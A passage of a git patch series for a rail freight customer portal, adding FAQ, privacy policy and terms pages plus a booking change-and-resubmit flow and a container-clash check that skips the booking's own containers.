+ +
+ +
+

{channel.title}

+ {channel.href ? ( + + {channel.value} + + ) : ( +

{channel.value}

+ )} +

+ {channel.note} +

+
+
+ ))} +
+
+ +
+

Common topics

+ +
+ {topics.map((topic) => ( + +
+ +
+

{topic.title}

+

+ {topic.body} +

+ + ))} +
+
+ +
+
+
+ +
+ +
+

+ What to include when you contact us +

+
    +
  • Your company name and the email you sign in with.
  • +
  • + The reference of the contract, booking or invoice involved. +
  • +
  • What you expected to happen and what happened instead.
  • +
  • A screenshot of any error message the portal showed.
  • +
+
+
+
+
+ ); +} diff --git a/apps/edr-freight-web/portal/src/pages/support/PrivacyPolicyPage.tsx b/apps/edr-freight-web/portal/src/pages/support/PrivacyPolicyPage.tsx new file mode 100644 index 000000000..76c2441ae --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/support/PrivacyPolicyPage.tsx @@ -0,0 +1,15 @@ +import { DocSections, DocShell } from "./DocShell"; +import { LEGAL_LAST_UPDATED, PRIVACY_SECTIONS } from "./content"; + +export default function PrivacyPolicyPage() { + return ( + + + + ); +} diff --git a/apps/edr-freight-web/portal/src/pages/support/TermsPage.tsx b/apps/edr-freight-web/portal/src/pages/support/TermsPage.tsx new file mode 100644 index 000000000..b095acae0 --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/support/TermsPage.tsx @@ -0,0 +1,15 @@ +import { DocSections, DocShell } from "./DocShell"; +import { LEGAL_LAST_UPDATED, TERMS_SECTIONS } from "./content"; + +export default function TermsPage() { + return ( + + + + ); +} diff --git a/apps/edr-freight-web/portal/src/pages/support/content.ts b/apps/edr-freight-web/portal/src/pages/support/content.ts new file mode 100644 index 000000000..d7b8e2d2c --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/support/content.ts @@ -0,0 +1,358 @@ +/** + * Copy for the public help/FAQ/legal pages. Kept as data so the pages stay + * thin — the shell in `DocShell.tsx` renders any `Section[]` the same way. + * + * The privacy and terms text is the platform's working draft; legal counsel + * signs off on the final wording, and `LEGAL_LAST_UPDATED` is bumped with it. + */ + +export const SUPPORT_CONTACT = { + email: "support@edrfreight.com", + phone: "+251 11 000 0000", + office: "Addis Ababa, Ethiopia", + hours: "Monday – Saturday, 8:30 AM – 5:30 PM (EAT)", +}; + +export const LEGAL_LAST_UPDATED = "6 August 2026"; + +export interface Section { + heading: string; + /** Paragraphs, rendered in order. */ + body?: string[]; + /** Optional bullet list, rendered after the paragraphs. */ + bullets?: string[]; +} + +export interface FaqItem { + question: string; + answer: string; +} + +export interface FaqGroup { + title: string; + items: FaqItem[]; +} + +export const FAQ_GROUPS: FaqGroup[] = [ + { + title: "Getting started", + items: [ + { + question: "How do I open an account on EDR Freight?", + answer: + "Sign up with your work email and verify the one-time code we send you. After you set a password, the onboarding wizard collects your company details, trade licence, TIN certificate and the operational services you need (importer, exporter, freight forwarder or transporter). Submit the wizard and our team reviews the application.", + }, + { + question: "How long does account approval take?", + answer: + "Most complete applications are reviewed within two working days. You will see the status on your dashboard, and we email you when a profile is approved or when a document needs to be re-uploaded.", + }, + { + question: "My profile was rejected. What now?", + answer: + "The rejection notice states the reason. Open Settings, correct the details or replace the document that was flagged, and re-apply — you do not need to create a new account.", + }, + { + question: "Can one company hold several operational services?", + answer: + "Yes. A company can hold importer, exporter, freight forwarder and transporter profiles at the same time. Each is approved separately, and the header lets you switch between the ones you hold.", + }, + ], + }, + { + title: "Contracts and bookings", + items: [ + { + question: "What is the difference between a contract and a booking?", + answer: + "A contract is the commercial agreement covering a cargo movement — route, commodity, volume and rates. A booking is a single shipment executed under that contract. You create the contract once, then raise bookings against it for each consignment.", + }, + { + question: "How do I create a booking?", + answer: + "Open the contract from the Contracts list and choose New Booking. Provide the consignment details, containers or tonnage, and the last-mile requirement if you need one. Bookings can also be started from the Bookings page, which routes you through contract selection first.", + }, + { + question: "Why do I have to sign a contract before shipping?", + answer: + "The contract document is the binding agreement for the movement. You must scroll to the end, accept the terms, and sign it with your saved signature and stamp before EDR schedules any wagon against it.", + }, + { + question: "Where do I set up my signature and stamp?", + answer: + "Under Signature & Stamp in the portal. It is saved once and reused for every contract you sign, so you do not have to upload it per document.", + }, + { + question: "Can I change a booking after submitting it?", + answer: + "You can edit a booking while it is still pending review. Once EDR has confirmed it and allocated capacity, changes go through our operations team — contact support with the booking reference.", + }, + { + question: "How do I track a consignment?", + answer: + "Open the booking and use the tracking panel, which shows the current milestone, the wagon or container assigned, and the timestamps recorded at each corridor point.", + }, + ], + }, + { + title: "Invoices and payments", + items: [ + { + question: "Where do I find my invoices?", + answer: + "The Invoices page lists every invoice raised against your company, with its status, due date and outstanding balance. Open any invoice to see its line items and download a PDF copy.", + }, + { + question: "Which payment methods are supported?", + answer: + "Payments are made through the integrated bank channels shown at checkout. After you complete the payment on the bank's page you are returned to the portal, and the invoice status updates once the bank confirms the transaction.", + }, + { + question: "My payment was deducted but the invoice still shows unpaid.", + answer: + "Bank confirmations can lag by a few minutes. Use the Check Payment Status page linked from your receipt; if it still has not settled after an hour, email support with the invoice number and the bank reference and we will reconcile it.", + }, + { + question: "Why is my invoice amount rounded?", + answer: + "Some bank channels only accept whole-birr amounts, so invoices routed through them are rounded up to the nearest birr. The rounding is shown on the invoice detail page.", + }, + ], + }, + { + title: "Account and security", + items: [ + { + question: "How do I reset my password?", + answer: + "Use Forgot Password on the sign-in page. We email you a reset link that is valid for a limited time. If a member of our staff issued the link, it works the same way even if you are already signed in.", + }, + { + question: "Can I add colleagues to my company account?", + answer: + "Yes. Company administrators can invite additional users from Settings. Each user signs in with their own credentials, and actions are recorded against the individual who performed them.", + }, + { + question: "How do I update company details after approval?", + answer: + "Edit them in Settings. Changes to regulated fields — trade licence, TIN, legal name — are re-verified by our team before they take effect.", + }, + ], + }, +]; + +export const PRIVACY_SECTIONS: Section[] = [ + { + heading: "1. Introduction", + body: [ + "The Ethio-Djibouti Standard Gauge Rail Share Company (\"EDR\", \"we\", \"us\") operates the EDR Freight platform, which lets customers register their business, agree freight contracts, raise bookings, track consignments and settle invoices online.", + "This policy explains what personal and business information we collect through the platform, why we collect it, how long we keep it and what rights you have over it. It applies to the EDR Freight customer portal and the services reached through it.", + ], + }, + { + heading: "2. Information we collect", + body: [ + "We collect information you give us, information generated by your use of the platform, and information we receive from the regulators and financial institutions we work with.", + ], + bullets: [ + "Account details — name, work email address, phone number and the credentials used to sign in.", + "Company and compliance records — legal name, trade licence, TIN certificate, VAT registration, ownership and manager details, and the operational services you apply for.", + "Identity verification data — where you verify through a national identity service, the verification result and the attributes that service returns to us.", + "Operational data — contracts, bookings, consignment and cargo details, container and wagon assignments, tracking events and delivery confirmations.", + "Financial data — invoices, payment references, transaction status and settlement confirmations received from banks. We do not store your card numbers or online banking credentials.", + "Support data — the messages and files you send us through the in-app support chat or by email.", + "Technical data — IP address, device and browser information, and event logs generated when you use the platform.", + ], + }, + { + heading: "3. How we use your information", + bullets: [ + "To create and administer your account and verify that your company is entitled to the services it applies for.", + "To perform the freight contracts and bookings you place, including allocating capacity and coordinating rail and last-mile movements.", + "To issue invoices, process payments and keep the accounting records the law requires us to keep.", + "To provide customer support and respond to the questions and complaints you raise.", + "To keep the platform secure, detect misuse and investigate incidents.", + "To meet our legal, tax, customs and regulatory obligations in Ethiopia and Djibouti.", + "To improve the platform — measuring which features are used and where users encounter errors, using aggregated and pseudonymised data wherever that is sufficient.", + ], + }, + { + heading: "4. Legal basis for processing", + body: [ + "We process your information because it is necessary to perform the contract between you and EDR, because we have a legal obligation to do so (customs, tax and transport regulation), or because we have a legitimate interest in operating and securing the platform. Where we rely on your consent — for example, optional marketing messages — you can withdraw it at any time.", + ], + }, + { + heading: "5. Sharing your information", + body: [ + "We do not sell your information. We share it only where it is necessary to deliver the service or where the law requires it.", + ], + bullets: [ + "Government and regulatory bodies — customs, revenue and transport authorities in Ethiopia and Djibouti, to the extent required for the movement of your cargo.", + "Ports, terminals and last-mile transporters involved in executing your bookings.", + "Banks and payment providers, to initiate and reconcile the payments you make.", + "Technology suppliers who host and maintain the platform on our behalf, under contracts that restrict them to processing data on our instructions.", + "Courts, law enforcement and other authorities where we are legally compelled to disclose.", + ], + }, + { + heading: "6. International transfers", + body: [ + "Cross-border freight inherently involves parties in more than one country, so consignment and clearance information is shared with counterparties and authorities in Djibouti as well as Ethiopia. Where we transfer information outside Ethiopia, we do so only as far as the movement requires or the law permits, and we require recipients to protect it to a comparable standard.", + ], + }, + { + heading: "7. Data retention", + body: [ + "We keep account and company records for as long as your account is active. Contract, booking, customs and financial records are kept for the period required by Ethiopian commercial, tax and customs law after the relevant transaction, because we are obliged to be able to produce them. Support conversations and technical logs are kept for a shorter period, sufficient to resolve disputes and investigate security incidents.", + ], + }, + { + heading: "8. Security", + body: [ + "Access to the platform requires authentication, and staff access to customer records is limited to what each role needs. Data is transmitted over encrypted connections and stored on systems protected by access controls and logging. No system is perfectly secure, so please keep your credentials confidential and tell us immediately if you believe your account has been compromised.", + ], + }, + { + heading: "9. Your rights", + body: [ + "Subject to Ethiopian law, you may ask us to give you a copy of the personal information we hold about you, correct it if it is inaccurate, restrict or object to certain processing, or delete it where we are not required to keep it. Requests are handled through the contact details below; we may need to verify your identity before acting.", + ], + }, + { + heading: "10. Cookies and similar technologies", + body: [ + "The platform uses cookies and browser storage to keep you signed in, remember your interface preferences and measure how the product is used so we can fix problems. Essential cookies cannot be turned off without breaking sign-in. You can clear or block the rest through your browser settings.", + ], + }, + { + heading: "11. Children", + body: [ + "The platform is a business service and is not directed at children. We do not knowingly collect information from anyone under 18.", + ], + }, + { + heading: "12. Changes to this policy", + body: [ + "We may update this policy as the platform and the law change. Material changes are announced in the portal before they take effect, and the date at the top of this page always reflects the current version.", + ], + }, + { + heading: "13. Contact us", + body: [ + `Questions about this policy or about how we handle your information can be sent to ${SUPPORT_CONTACT.email}, called in on ${SUPPORT_CONTACT.phone}, or addressed to our head office in ${SUPPORT_CONTACT.office}.`, + ], + }, +]; + +export const TERMS_SECTIONS: Section[] = [ + { + heading: "1. These terms", + body: [ + "These terms govern your use of the EDR Freight platform operated by the Ethio-Djibouti Standard Gauge Rail Share Company (\"EDR\"). By creating an account or using the platform, the company you represent agrees to them.", + "The platform is the channel through which you register, request and manage freight services. The commercial terms of each movement — routes, rates, volumes and payment terms — are set out in the freight contract you sign in the platform. Where a signed contract and these terms conflict, the signed contract governs that movement.", + ], + }, + { + heading: "2. Eligibility and accounts", + bullets: [ + "The platform is for registered businesses. You confirm that you are authorised to act for the company you register and to bind it to these terms.", + "The information and documents you submit — trade licence, TIN, VAT registration, ownership details — must be accurate, current and genuine.", + "Accounts and operational profiles are activated only after EDR has reviewed and approved them, and approval may be refused or withdrawn.", + "You are responsible for keeping credentials confidential and for everything done under your account. Tell us at once if you suspect unauthorised use.", + ], + }, + { + heading: "3. Contracts and bookings", + bullets: [ + "A freight contract takes effect when it is signed in the platform by you and countersigned by EDR.", + "A booking is a request for a specific movement under a contract. It becomes binding when EDR confirms it and allocates capacity — submission alone does not reserve a wagon or container.", + "You are responsible for the accuracy of consignment data: commodity description, weight, dimensions, container numbers, hazardous classification and consignee details.", + "Capacity is finite. EDR may decline, defer or reschedule a booking where capacity, safety, operating conditions or regulatory direction require it.", + ], + }, + { + heading: "4. Cargo, documents and compliance", + bullets: [ + "You must obtain and provide every permit, customs declaration and clearance document the movement requires, and you warrant that the cargo may lawfully be carried.", + "Prohibited and restricted goods may not be tendered without EDR's prior written agreement and any licence the law requires.", + "Cargo must be packed, secured and, where applicable, labelled to the standard the mode of carriage requires. EDR may inspect, refuse or offload cargo that is misdeclared or unsafe.", + "You are liable for fines, demurrage, storage charges and losses arising from misdeclared cargo, missing documents or delays attributable to you.", + ], + }, + { + heading: "5. Rates, invoicing and payment", + bullets: [ + "Charges are calculated from the rates in your contract, the tariffs published in the platform, and any accessorial services actually rendered.", + "Invoices are issued in the platform and are payable by the due date shown on them, through the payment channels the platform offers.", + "Payment is confirmed when the funds are confirmed by the bank, not when payment is initiated.", + "Overdue amounts may attract interest and may result in suspension of new bookings or of the account until the balance is cleared.", + "Taxes and statutory duties are your responsibility unless the contract expressly says otherwise.", + ], + }, + { + heading: "6. Delivery, delay and liability", + body: [ + "Transit times shown in the platform are estimates based on planned schedules. They are not guarantees, and EDR is not liable for indirect or consequential loss, loss of profit or loss of market arising from delay.", + "EDR's liability for loss of or damage to cargo is limited to the extent set out in the applicable freight contract and in the transport law governing the carriage. Claims must be notified in writing within the period the contract specifies; late claims may be rejected.", + "Neither party is liable for failure to perform caused by events beyond its reasonable control, including natural disasters, industrial action, civil unrest, infrastructure failure, or acts of government and regulatory authorities.", + ], + }, + { + heading: "7. Acceptable use of the platform", + bullets: [ + "Use the platform only for its intended purpose and in accordance with applicable law.", + "Do not attempt to gain unauthorised access, probe or disrupt the service, or interfere with other customers' data.", + "Do not scrape, resell or redistribute platform content, rates or data without written permission.", + "Do not upload malware or content that infringes the rights of others.", + ], + }, + { + heading: "8. Electronic signatures and records", + body: [ + "You agree that contracts signed in the platform using your stored signature and stamp are validly executed, that the records the platform keeps of those signatures are admissible evidence of them, and that they carry the same effect as signatures on paper.", + ], + }, + { + heading: "9. Availability and changes to the service", + body: [ + "We aim to keep the platform available, but it may be interrupted for maintenance, upgrades or reasons outside our control. We may add, change or withdraw features. Where a change materially affects how you use the platform, we will give reasonable notice in the portal.", + ], + }, + { + heading: "10. Suspension and termination", + body: [ + "We may suspend or terminate access where these terms are breached, where documents prove to be false, where amounts remain unpaid, or where the law or a regulator requires it. You may stop using the platform at any time. Termination does not affect obligations already incurred — cargo in transit, invoices outstanding, or records we are required to retain.", + ], + }, + { + heading: "11. Intellectual property", + body: [ + "The platform, its software, design and content belong to EDR or its licensors. You are granted a non-exclusive, non-transferable right to use it for your own freight operations. Your commercial and consignment data remains yours; you grant us the right to process it as needed to deliver the service and as described in the Privacy Policy.", + ], + }, + { + heading: "12. Confidentiality and data protection", + body: [ + "Each party will keep the other's non-public commercial information confidential and use it only for the purposes of the services. Our handling of personal information is described in the Privacy Policy, which forms part of these terms.", + ], + }, + { + heading: "13. Governing law and disputes", + body: [ + "These terms are governed by the laws of the Federal Democratic Republic of Ethiopia. The parties will first attempt to resolve any dispute amicably; failing that, the dispute is subject to the jurisdiction of the competent courts of Ethiopia, without prejudice to any arbitration clause agreed in a specific freight contract.", + ], + }, + { + heading: "14. Changes to these terms", + body: [ + "We may update these terms as the service and the law change. Updates are published here and announced in the portal. Continuing to use the platform after an update takes effect means you accept the revised terms.", + ], + }, + { + heading: "15. Contact", + body: [ + `For questions about these terms, write to ${SUPPORT_CONTACT.email} or call ${SUPPORT_CONTACT.phone}.`, + ], + }, +]; From c61b66fd235fe1ce44a2fd8126dbe467fa501756 Mon Sep 17 00:00:00 2001 From: Marshal Date: Thu, 6 Aug 2026 20:40:28 +0000 Subject: [PATCH 17/48] feat(bookings): show allocated wagons in portal --- .../BookingDetailPage/ReadonlyBookingView.tsx | 13 ++++++++++++- .../src/pages/bookings/clearance/ClearanceFlow.tsx | 7 ++++++- .../pages/bookings/clearance/bookingNextAction.ts | 6 ++++++ .../pages/bookings/clearance/useClearanceFlow.ts | 5 ++++- 4 files changed, 28 insertions(+), 3 deletions(-) diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx index b8f279f59..403dc43bb 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx @@ -34,6 +34,7 @@ import { MileSummaryCard } from "./components/MileSummaryCard"; import { BodyGrid, PageShell } from "./components/layout"; import { CancelledBanner, + ActionRequiredBanner, ConsolidationPairedNotice, ConsolidationWaitingBanner, } from "./components/Notices"; @@ -162,6 +163,9 @@ export function ReadonlyBookingView({ "DOCUMENTS_UNDER_REVIEW", "CLEARANCE_READY", "OPERATION_REQUESTED", + // Operations returned the order — same card hosts the pick-a-new-day + + // resubmit flow. + "OPERATION_CHANGES_REQUESTED", ].includes(status); // Paired: a consolidation partner was found and the booking resumed the normal // flow. Surface the "partner found" reassurance only in the early stages, @@ -234,7 +238,14 @@ export function ReadonlyBookingView({ priceLabel={pricing ? priceTotal(pricing) : undefined} /> ) : ( - + + {status === "OPERATION_CHANGES_REQUESTED" && + booking.latestChangeRequestNote ? ( + + {booking.latestChangeRequestNote} + + ) : undefined} + )} {showPairedNotice && } diff --git a/apps/edr-freight-web/portal/src/pages/bookings/clearance/ClearanceFlow.tsx b/apps/edr-freight-web/portal/src/pages/bookings/clearance/ClearanceFlow.tsx index a1d2cafd8..ee96799b3 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/clearance/ClearanceFlow.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/clearance/ClearanceFlow.tsx @@ -85,7 +85,12 @@ export function ClearanceFlow({ booking, flow, footer }: ClearanceFlowProps) { return ( - {isReady ? ( + {status === "OPERATION_CHANGES_REQUESTED" ? ( + } mb="md"> + Operations returned this order for changes. Review their note, pick a + new shipment day below and resubmit. + + ) : isReady ? ( } mb="md"> {needsCompletion ? "Clearance is finalized. Complete your booking now — enter the cargo details and pick a shipment day inside an open booking window." diff --git a/apps/edr-freight-web/portal/src/pages/bookings/clearance/bookingNextAction.ts b/apps/edr-freight-web/portal/src/pages/bookings/clearance/bookingNextAction.ts index d0256510a..ea70e2fa9 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/clearance/bookingNextAction.ts +++ b/apps/edr-freight-web/portal/src/pages/bookings/clearance/bookingNextAction.ts @@ -89,6 +89,12 @@ function actionByStatus(booking: ActionBooking): BookingNextAction | null { label: "Schedule & proceed", title: "Schedule your shipment", }; + case "OPERATION_CHANGES_REQUESTED": + return { + kind: "SCHEDULE_OPERATION", + label: "Choose day & resubmit", + title: "Resubmit your shipment", + }; default: return null; } diff --git a/apps/edr-freight-web/portal/src/pages/bookings/clearance/useClearanceFlow.ts b/apps/edr-freight-web/portal/src/pages/bookings/clearance/useClearanceFlow.ts index 5d8143f79..c50a7c046 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/clearance/useClearanceFlow.ts +++ b/apps/edr-freight-web/portal/src/pages/bookings/clearance/useClearanceFlow.ts @@ -98,7 +98,10 @@ export function useClearanceFlow(booking: Freight.IBooking) { [clearance], ); - const isReady = status === "CLEARANCE_READY"; + // OPERATION_CHANGES_REQUESTED re-opens the same pick-a-day flow: the + // customer resubmits via the same clearance/proceed endpoint. + const isReady = + status === "CLEARANCE_READY" || status === "OPERATION_CHANGES_REQUESTED"; // Bare initiated instance: created with no cargo and no price; completion // (cargo + shipment day + window check) happens on the full booking form. const isBareInstance = From 1b8c7e4296eddd360c58a87614df5a0183b1050a Mon Sep 17 00:00:00 2001 From: Marshal Date: Thu, 6 Aug 2026 21:57:08 +0000 Subject: [PATCH 18/48] full change-booking flow for op revisions --- .../components/ClearanceCard.tsx | 15 +- .../bookings/clearance/bookingNextAction.ts | 20 +- .../src/pages/contracts/NewShipmentPage.tsx | 174 +++++++++++++++++- 3 files changed, 197 insertions(+), 12 deletions(-) diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/ClearanceCard.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/ClearanceCard.tsx index e5ea8d3a9..3002356f7 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/ClearanceCard.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/ClearanceCard.tsx @@ -51,7 +51,12 @@ export function ClearanceCard({ booking }: { booking: Freight.IBooking }) { } const summary = - status === "CLEARANCE_READY" ? ( + status === "OPERATION_CHANGES_REQUESTED" ? ( + }> + Operations returned this order for changes. Update the booking details, + pick a new shipment day and resubmit. + + ) : status === "CLEARANCE_READY" ? ( }> {`${ booking.customsClearingEnabled @@ -103,9 +108,11 @@ export function ClearanceCard({ booking }: { booking: Freight.IBooking }) { {summary} - {isBookAction - ? "Use “Book” to enter the cargo details and schedule your shipment." - : `Use “${action?.label ?? "the action button"}” to manage your ${docNoun}.`} + {status === "OPERATION_CHANGES_REQUESTED" + ? "Use “Change booking” to update the details and pick a new shipment day." + : isBookAction + ? "Use “Book” to enter the cargo details and schedule your shipment." + : `Use “${action?.label ?? "the action button"}” to manage your ${docNoun}.`} {!isBookAction && ( diff --git a/apps/edr-freight-web/portal/src/pages/bookings/clearance/bookingNextAction.ts b/apps/edr-freight-web/portal/src/pages/bookings/clearance/bookingNextAction.ts index ea70e2fa9..297b0c152 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/clearance/bookingNextAction.ts +++ b/apps/edr-freight-web/portal/src/pages/bookings/clearance/bookingNextAction.ts @@ -90,11 +90,21 @@ function actionByStatus(booking: ActionBooking): BookingNextAction | null { title: "Schedule your shipment", }; case "OPERATION_CHANGES_REQUESTED": - return { - kind: "SCHEDULE_OPERATION", - label: "Choose day & resubmit", - title: "Resubmit your shipment", - }; + // Contract bookings reopen the full completion form (cargo + shipment + // day, prefilled from the booking) — same page as the initial booking. + // Contract-less bookings keep the in-place day-picker modal. + return booking.contractId + ? { + kind: "BOOK", + label: "Change booking", + title: "Change your booking", + to: `/contracts/${booking.contractId}/bookings/${booking.id}/complete`, + } + : { + kind: "SCHEDULE_OPERATION", + label: "Choose day & resubmit", + title: "Resubmit your shipment", + }; default: return null; } diff --git a/apps/edr-freight-web/portal/src/pages/contracts/NewShipmentPage.tsx b/apps/edr-freight-web/portal/src/pages/contracts/NewShipmentPage.tsx index aa4ce723a..aab5d7de1 100644 --- a/apps/edr-freight-web/portal/src/pages/contracts/NewShipmentPage.tsx +++ b/apps/edr-freight-web/portal/src/pages/contracts/NewShipmentPage.tsx @@ -38,6 +38,7 @@ import { CheckCircle2, ChevronLeft, FileDown, + FileText, FileUp, Flame, MapPin, @@ -59,6 +60,7 @@ import { contractsService, type ShipmentValidation, } from "@/services/contracts.service"; +import { downloadStoredFile } from "@/services/files.service"; import { SelectField, StepCard, @@ -245,6 +247,127 @@ function bulkUnitOfMeasure( return hasPerItem ? "PER_ITEM" : "PER_TON"; } +/** + * Prefill for a changes-requested resubmit: the booking's persisted cargo, + * currency and route become the form's starting values so the customer edits + * what exists instead of retyping it. The shipment day is deliberately left + * empty — a new day must be picked. + */ +function mapBookingToShipmentValues( + booking: Freight.IBooking, + contract: Freight.IContract, +): Partial { + const b = booking as unknown as { + cargoFreeText?: string | null; + contractRouteId?: string | null; + cargoTotalWeightVgm?: number | string | null; + bulkTotalWeightTons?: number | string | null; + bulkHazardousQuantity?: number | string | null; + bulkReeferQuantity?: number | string | null; + bookingContainers?: Array<{ + quantity?: number; + hazardousQuantity?: number | string | null; + reeferQuantity?: number | string | null; + returnQuantity?: number | string | null; + containerType?: { sizeFt?: number | null } | null; + units?: Array<{ + containerNumber?: string; + sealNumber?: string | null; + vgmTons?: number | string; + isHazardous?: boolean; + isReefer?: boolean; + isReturn?: boolean; + }>; + }>; + }; + const values: Partial = { + paymentCurrency: booking.paymentCurrency === "ETB" ? "ETB" : "USD", + withReturn: booking.equipmentReturn === "WITH_RETURN", + cargoDescription: b.cargoFreeText ?? "", + ...(b.contractRouteId ? { contractRouteId: b.contractRouteId } : {}), + }; + if (contract.freightType === "CONTAINER") { + const rows = b.bookingContainers ?? []; + const lineFor = (size: "20ft" | "40ft") => { + const bc = rows.find( + (r) => (r.containerType?.sizeFt === 40 ? "40ft" : "20ft") === size, + ); + return { + containerSize: size, + quantity: String(bc?.quantity ?? 0), + hazardousQuantity: String(Number(bc?.hazardousQuantity ?? 0)), + reeferQuantity: String(Number(bc?.reeferQuantity ?? 0)), + returnQuantity: String(Number(bc?.returnQuantity ?? 0)), + units: (bc?.units ?? []).map((u) => ({ + containerNumber: u.containerNumber ?? "", + sealNumber: u.sealNumber ?? "", + vgmTons: String(Number(u.vgmTons ?? 0)), + isHazardous: Boolean(u.isHazardous), + isReefer: Boolean(u.isReefer), + isReturn: Boolean(u.isReturn), + })), + }; + }; + const sizes = (contract.cargoScope ?? []) + .map((s) => s.containerSize) + .filter((s): s is "20ft" | "40ft" => s === "20ft" || s === "40ft"); + values.containers = (sizes.length ? sizes : ["20ft", "40ft"]).map(lineFor); + } else { + const perItem = bulkUnitOfMeasure(contract) === "PER_ITEM"; + const amount = Number(b.cargoTotalWeightVgm ?? 0); + if (perItem) { + values.itemCount = amount ? String(amount) : ""; + values.cargoWeightTons = + b.bulkTotalWeightTons != null + ? String(Number(b.bulkTotalWeightTons)) + : ""; + } else { + values.cargoWeightTons = amount ? String(amount) : ""; + } + values.bulkHazardousQuantity = String(Number(b.bulkHazardousQuantity ?? 0)); + values.bulkReeferQuantity = String(Number(b.bulkReeferQuantity ?? 0)); + } + return values; +} + +/** Read-only list of the booking's already-uploaded documents (resubmit view). */ +function UploadedDocumentsCard({ booking }: { booking: Freight.IBooking }) { + const files = + (booking as unknown as { files?: Array<{ id: string; name: string }> }) + .files ?? []; + if (!files.length) return null; + return ( + + + + + Your uploaded documents + + + + These stay attached to the booking — no need to upload them again. + + + {files.map((f) => ( + + + {f.name} + + void downloadStoredFile(f.id, f.name)} + aria-label={`Download ${f.name}`} + > + + + + ))} + + + ); +} + function NewShipmentBookingForm({ contract, contractId, @@ -306,6 +429,34 @@ function NewShipmentBookingForm({ : 0; const hasOdd20ft = ft20Total % 2 === 1; + // COMPLETION mode: fetch the booking — a changes-requested resubmit prefills + // the form from it and shows the operations note + uploaded documents. + const { data: completeBooking } = useQuery( + api.bookings.get.queryOptions({ + input: { id: completeBookingId! }, + enabled: Boolean(completeBookingId), + }), + ); + const isResubmit = Boolean( + completeBooking && + ["OPERATION_CHANGES_REQUESTED", "EXPIRED"].includes( + completeBooking.status as string, + ) && + (((completeBooking as unknown as { bookingContainers?: unknown[] }) + .bookingContainers?.length ?? 0) > 0 || + Number(completeBooking.cargoTotalWeightVgm ?? 0) > 0), + ); + const prefilledRef = useRef(false); + useEffect(() => { + if (!isResubmit || prefilledRef.current || !completeBooking) return; + prefilledRef.current = true; + form.reset({ + ...form.getValues(), + ...mapBookingToShipmentValues(completeBooking, contract), + }); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [isResubmit]); + const submitMutation = useMutation({ mutationFn: (dto: Freight.CreateBookingUnderContractDto) => completeBookingId @@ -488,12 +639,16 @@ function NewShipmentBookingForm({ style={{ letterSpacing: "-0.01em" }} > {completeBookingId - ? "Complete Your Booking" + ? isResubmit + ? "Change Your Booking" + : "Complete Your Booking" : "New Shipment Booking"} {completeBookingId - ? `Clearance is finalized — enter the cargo details and shipment day to complete your booking under contract ${contract.reference}.` + ? isResubmit + ? `Update the details below and pick a new shipment day, then resubmit your booking under contract ${contract.reference}.` + : `Clearance is finalized — enter the cargo details and shipment day to complete your booking under contract ${contract.reference}.` : `Book a shipment against contract ${contract.reference}.`} @@ -535,6 +690,16 @@ function NewShipmentBookingForm({ {/* Single-step form — all sections on one page. */} + {isResubmit && completeBooking?.latestChangeRequestNote && ( + } + radius="md" + title="Operations requested changes" + > + {completeBooking.latestChangeRequestNote} + + )} {/* Legacy contracts only — WITH_RETURN contracts capture per-line @@ -547,6 +712,9 @@ function NewShipmentBookingForm({ routes={routes} completeBookingId={completeBookingId ?? null} /> + {isResubmit && completeBooking && ( + + )} {/* Notes are captured when the booking is initiated — completing a bare booking does not re-ask for them. */} {!completeBookingId && } @@ -594,7 +762,7 @@ function NewShipmentBookingForm({ onClick={handleReview} disabled={hasOdd20ft} > - Review price & book + {isResubmit ? "Change booking" : "Review price & book"} From 96a4dd2e7fdb841facbd160d92a450b03ca144ac Mon Sep 17 00:00:00 2001 From: Marshal Date: Thu, 6 Aug 2026 22:34:53 +0000 Subject: [PATCH 19/48] exclude self from container clash --- .../src/modules/contracts/contract-booking.service.ts | 4 ++++ .../src/modules/contracts/contracts.controller.ts | 5 ++++- .../src/components/contracts/GlCreateBookingForm.tsx | 2 +- .../backoffice/src/services/contracts.service.ts | 10 +++++++++- .../portal/src/pages/contracts/NewShipmentPage.tsx | 7 ++++++- apps/edr-freight-web/portal/src/services/api.ts | 10 +++++++--- .../portal/src/services/contracts.service.ts | 7 ++++++- 7 files changed, 37 insertions(+), 8 deletions(-) diff --git a/apps/edr-freight-api/src/modules/contracts/contract-booking.service.ts b/apps/edr-freight-api/src/modules/contracts/contract-booking.service.ts index 1c152d795..1147c018b 100644 --- a/apps/edr-freight-api/src/modules/contracts/contract-booking.service.ts +++ b/apps/edr-freight-api/src/modules/contracts/contract-booking.service.ts @@ -1882,6 +1882,9 @@ export class ContractBookingService { async validateShipment( contractId: string, dto: CreateBookingUnderContractDto, + // Completion/resubmit preview: the booking being completed must not clash + // with its own persisted containers. + excludeBookingId?: string, ): Promise<{ overweightLines: Array<{ containerTypeCode: string; @@ -2043,6 +2046,7 @@ export class ContractBookingService { originYardId: route?.originYardId, destinationYardId: route?.destinationYardId, }, + excludeBookingId, ); containerClashErrors = clashes.map( (c) => diff --git a/apps/edr-freight-api/src/modules/contracts/contracts.controller.ts b/apps/edr-freight-api/src/modules/contracts/contracts.controller.ts index ec61fdd4a..706d3cdee 100644 --- a/apps/edr-freight-api/src/modules/contracts/contracts.controller.ts +++ b/apps/edr-freight-api/src/modules/contracts/contracts.controller.ts @@ -1124,8 +1124,11 @@ export class ContractsController { validateShipment( @Param('id', ParseUUIDPipe) id: string, @Body() dto: CreateBookingUnderContractDto, + // Completion/resubmit preview: exclude this booking's own persisted + // containers from the same-train clash check. + @Query('bookingId') 